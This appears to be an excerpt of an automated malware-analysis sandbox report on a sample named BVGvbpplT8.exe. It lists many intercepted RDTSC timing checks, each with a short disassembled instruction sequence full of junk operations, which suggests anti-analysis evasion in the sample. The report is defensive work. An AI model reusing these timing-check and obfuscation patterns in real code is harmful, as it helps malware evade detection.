Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111B756 second address: 111B75C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111C9CA second address: 111C9D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111B75C second address: 111B760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111C9D1 second address: 111C9D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111C9D7 second address: 111C9DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111C9DB second address: 111C9F8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAAF9128032h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10D6B6A second address: 10D6B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10D6B6E second address: 10D6B7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF912802Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10D6B7C second address: 10D6B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10D6B82 second address: 10D6B9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF9128031h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 111EACF second address: 111EAD4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1120A99 second address: 1120A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1120A9E second address: 1120B25 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b pushad 0x0000000c jno 00007FAAF8FC508Ch 0x00000012 mov edi, dword ptr [ebp+122D365Eh] 0x00000018 popad 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push esi 0x0000001e call 00007FAAF8FC5088h 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], esi 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc esi 0x00000031 push esi 0x00000032 ret 0x00000033 pop esi 0x00000034 ret 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007FAAF8FC5088h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 0000001Dh 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 add dword ptr [ebp+122D2BEAh], ebx 0x00000057 push eax 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007FAAF8FC5099h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1125E36 second address: 1125E3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11271BE second address: 11271DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FAAF8FC508Fh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11271DA second address: 11271E0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11271E0 second address: 1127277 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FAAF8FC508Eh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jmp 00007FAAF8FC5097h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FAAF8FC5088h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f sub dword ptr [ebp+122D1F63h], eax 0x00000035 mov ebx, esi 0x00000037 push 00000000h 0x00000039 and bx, 4950h 0x0000003e xchg eax, esi 0x0000003f push ebx 0x00000040 jmp 00007FAAF8FC508Fh 0x00000045 pop ebx 0x00000046 push eax 0x00000047 pushad 0x00000048 jo 00007FAAF8FC508Ch 0x0000004e jnc 00007FAAF8FC5086h 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FAAF8FC5098h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1129245 second address: 1129249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1129249 second address: 11292D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnl 00007FAAF8FC5086h 0x0000000f popad 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FAAF8FC5088h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c jl 00007FAAF8FC5086h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007FAAF8FC5088h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Bh 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e or di, 4AE3h 0x00000053 push 00000000h 0x00000055 mov edi, dword ptr [ebp+122D38BEh] 0x0000005b xchg eax, esi 0x0000005c jmp 00007FAAF8FC508Bh 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007FAAF8FC508Ch 0x00000069 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11292D3 second address: 11292D8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 112A36E second address: 112A372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 112B36D second address: 112B38E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF912802Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAAF912802Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 112C324 second address: 112C371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push esi 0x00000009 mov dword ptr [ebp+122D23FCh], edi 0x0000000f pop edi 0x00000010 push 00000000h 0x00000012 sub dword ptr [ebp+122D34D4h], eax 0x00000018 push 00000000h 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c jp 00007FAAF8FC509Dh 0x00000022 jno 00007FAAF8FC5088h 0x00000028 popad 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jne 00007FAAF8FC5088h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 112EA95 second address: 112EA9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113214D second address: 113216B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC508Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAAF8FC508Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1133265 second address: 113326B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113326B second address: 113326F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113233B second address: 113233F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 112FD00 second address: 112FD04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113233F second address: 1132367 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF9128039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007FAAF9128026h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1134276 second address: 11342F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FAAF8FC5097h 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FAAF8FC5088h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c xor bx, 0425h 0x00000031 push 00000000h 0x00000033 jmp 00007FAAF8FC5090h 0x00000038 push 00000000h 0x0000003a jc 00007FAAF8FC5088h 0x00000040 mov bl, dl 0x00000042 xchg eax, esi 0x00000043 jg 00007FAAF8FC5094h 0x00000049 pushad 0x0000004a jng 00007FAAF8FC5086h 0x00000050 jc 00007FAAF8FC5086h 0x00000056 popad 0x00000057 push eax 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b push ecx 0x0000005c pop ecx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1133403 second address: 1133407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1134410 second address: 113441A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FAAF8FC5086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113441A second address: 1134420 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1136526 second address: 113652C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1134420 second address: 1134438 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnc 00007FAAF9128034h 0x0000000f pushad 0x00000010 je 00007FAAF9128026h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11382E1 second address: 11382E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11382E5 second address: 11382F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11365F5 second address: 11365FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11382F2 second address: 11382F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1134536 second address: 1134540 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1134540 second address: 1134544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113F5DE second address: 113F5E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113F5E6 second address: 113F5EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113F5EC second address: 113F5F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113F5F1 second address: 113F608 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007FAAF9128026h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d ja 00007FAAF9128026h 0x00000013 popad 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113F608 second address: 113F60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113F60E second address: 113F622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 jns 00007FAAF9128026h 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113F622 second address: 113F628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113F628 second address: 113F63A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 113F63A second address: 113F640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1146CAF second address: 1146CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FAAF912802Ch 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1146CC4 second address: 1146CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push esi 0x00000009 jmp 00007FAAF8FC508Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007FAAF8FC5090h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1146CEE second address: 1146CF4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10D356C second address: 10D3570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10D3570 second address: 10D35AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF9128038h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f jmp 00007FAAF9128031h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 js 00007FAAF9128026h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1146416 second address: 1146420 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAAF8FC5092h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 114658B second address: 1146594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1146594 second address: 114659C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 114659C second address: 11465C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007FAAF912802Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAAF9128034h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1146861 second address: 114686D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 ja 00007FAAF8FC5086h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10DBA90 second address: 10DBA9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FAAF9128026h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10DBA9C second address: 10DBAA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10DBAA0 second address: 10DBAA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10DBAA9 second address: 10DBAB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 10DBAB3 second address: 10DBACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 jmp 00007FAAF912802Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007FAAF9128026h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1150622 second address: 1150640 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FAAF8FC5086h 0x00000008 jmp 00007FAAF8FC5094h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1150640 second address: 1150645 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1150F35 second address: 1150F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FAAF8FC5086h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1150F41 second address: 1150F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1150F4C second address: 1150F60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC5090h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11511BA second address: 11511C4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FAAF9128026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11511C4 second address: 11511CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FAAF8FC5086h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11511CE second address: 11511D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11511D2 second address: 1151205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAAF8FC5094h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FAAF8FC5091h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1151205 second address: 1151209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 1151209 second address: 1151223 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAAF8FC5096h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11517CD second address: 11517D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11517D4 second address: 11517E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FAAF8FC5086h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11517E0 second address: 11517EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11570BD second address: 11570C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11570C1 second address: 11570E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jns 00007FAAF9128026h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FAAF9128037h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11570E4 second address: 11570F4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FAAF8FC508Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\BVGvbpplT8.exe	RDTSC instruction interceptor: First address: 11570F4 second address: 1157100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
